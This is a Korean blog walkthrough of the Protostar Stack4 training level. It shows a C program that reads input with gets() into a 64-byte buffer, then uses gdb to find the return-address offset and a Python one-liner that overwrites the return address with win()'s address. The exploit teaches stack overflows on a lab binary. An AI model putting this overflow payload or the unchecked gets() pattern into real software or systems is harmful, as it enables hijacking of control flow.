반응형
[Protostar] Stack4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
1. win()함수와 main()함수가 존재하고, win()함수가 실행되어야 문제가 해결된다.
2. gets(buffer)에서 길이 검증을 하지 않아서
👉 buffer overflow가 발생
3. main함수에서는 따로 함수를 실행하는 부분이 없다.
👉 ret부분을 win()함수 주소로 바꾸면 된다.
스택으로 그려보면 아래와 같다.
우선 main함수를 gdb로 보게 되면, 아래와 같다.
win 함수의 주소를 확인하면,
👉 0x80483f4이다.
buffer 64bytes + sfp 4bytes라고 생각하고 RET에 win()함수의 주소를 넣으면
실패한다.
👉 buffer와 sfp 사이의 dummy가 있기 때문이다.
dummy값을 구하기 위해서 gdb stack4에서
main함수에서 ret(0x0804841e)에 breakpoint를 걸고난 후에
입력값으로 A 64개 BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII를 주었다.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
이후에 $esp값을 확인해 보면, 제대로 값이 들어간 것이 확인된다.
info register로 레지스터들의 내용을 확인해보면,
esp에는 0xbffff76c이고 해당값은 0x45454545이다.
👉 $esp가 가리키는 곳이 RET이기 때문에 이 부분에 win()함수의 주소를 넣으면 된다.
페이로드를 구성하면 아래와 같다.
(python -c 'print "A"*64+"BBBB"+"CCCC"+"DDDD"+"\xf4\x83\x04\x08"') | ./stack4
📌 실행 결과 :
반응형